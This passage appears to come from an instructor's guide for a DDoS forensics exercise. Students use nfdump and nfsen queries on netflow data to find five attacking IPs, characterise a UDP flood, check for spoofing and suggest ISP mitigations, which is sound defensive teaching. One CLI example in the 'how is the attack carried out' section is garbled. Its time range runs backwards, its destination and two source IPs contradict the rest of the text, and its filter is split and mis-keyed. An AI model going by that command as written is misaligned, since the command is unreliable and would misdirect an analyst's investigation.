Using netflow processing, select the time window from 2007-02-24-04:00 to 2007-02-24-09:00. Generate TOP 20 statistics about the source IP, using the ‘dst host 195.88.49.121’ filter.

**Figure 44: Network statistics**

There are five hosts which generated huge traffic to the attacked server. These IPs are the potential attackers:

- 33.106.25.243
● 207.39.221.61
● 213.63.169.117
● 43.170.142.79
● 33.106.23.177

**CLI:**

A quick way of checking what IPs may be involved in an attack against an IP is to generate statistics filtered towards that specific destination IP. In this case we can filter for TOP N attacking source IPs based on flows against 195.88.49.121.

[Question to students: What IPs do you think are involved in the attack?]

Example query:

```
sudo nfdump -R nfcapd.200702240400:nfcapd.200702240900 -n 20 -s srcip 'dst ip 195.88.49.121'
```

**4.2.4 Q 4 How is the attack being carried out?**

After identifying some attack candidates, filter for their behaviour against this destination IP. This gives a more complete picture of how the attack is being carried out.

**GUI:**

Use netflow processing with the `dst ip 195.88.49.121 and (src ip 33.106.25.243 or src ip 207.39.221.61 or src ip 213.63.169.117 or src ip 43.170.142.79 or src ip 33.106.23.177)` filter.
Figure 45: Network statistics

Modifying the filter ('dst host') can help to identify the behaviour of each attacking IP separately.

CLI:

In the command line interface use the following command:

```
sudo nfdump -R nfcapd.200702240140:nfcapd.200702240100 -o extended -c 50 nfdump filter
```

```
net  ip 175.85.49.121 and [src ip 35.106.25.243 or src ip 207.39.221.61 or src ip 213.63.169.117 or src ip 43.170.142.79 or src ip 35.106.23.177]
```

```
Figure: Network statistics
```

Modify the 'dst host' accordingly.

Conclusion:
The attacking IP was sending UDP packets to a WWW server to many different destination ports but always from the same source port. All these five attacking IPs sent packets simultaneously. All the packets had the same size: 29 B.

4.2.5 Q 5 Where did the attack come from?
One issue that frequently arises for DDoS attacks is the question whether the source IPs are spoofed. With UDP DDoS attacks, this is usually quite likely. For TCP based attacks, flows can be used to deduce what flags were seen for connections, allowing for speculation about whether an attack was spoofed or not. To track where an attack came from, one can also use netflow to observe the router interfaces from which the traffic entered. With the interface information it is possible to identify the uplink, and then in turn check its uplink, and so on. This can also be used to discover whether spoofing was involved.

CLI:

For example, to see what flags were set:

```bash
sudo nfdump -R nfcapd.200702240410:nfcapd.200702240500 -c 50 -o extended 'dst ip 195.88.49.121 and (src ip 33.106.25.243 or src ip 207.39.221.61 or src ip 213.63.169.117 or src ip 43.170.142.79 or src ip 33.106.23.177)'
```

For example, to see the interfaces where packets came from:

```bash
sudo nfdump -R nfcapd.200702240410:nfcapd.200702240500 -o fmt:%in 'src ip 33.106.25.243' | sort -u
```

4.2.6 Q 6 What could be done to mitigate the attack at the ISP level?
Some possible suggestions for attack mitigation may include the following:

- If the attacked server is only a WWW server, without other services, you could block all UDP traffic. This prevents repeated attacks from new IPs.
- Blocking UDP traffic destined only to high number ports. (For example, if the attacked server is also a DNS server and you cannot block all UDP traffic – you could block all >53/UDP.)
- Rate limiting of UDP traffic is also a possibility.

Ask the students for their suggestions.

After finishing Task 1, stop nfsen by issuing the following command.

```
~#: sudo /data/nfsen/stop.sh
```

4.3 Task 2 DDoS analysis – Do It Yourself
Once the first scenario is completed, ask the students to perform a similar analysis of another DDoS. Start nfsen: `~#: sudo /data/nfsen2/start.sh` and navigate to `http://localhost/nfsen2/nfsen.php`

The students should:

a) identify when the attack began;
b) identify what is actually being attacked;
c) identify what IPs are involved in carrying out the attack;
d) identify the way the attack is being carried out;
e) identify where the attack came from; and
f) suggest ways of mitigating the attack at the ISP level.

5 Summary of the exercise
Summarize the exercise. Which task did the students find most difficult? Encourage students to exchange their opinions, ask questions, and give their feedback about the exercise.

6 References
5. Snort: http://www.snort.org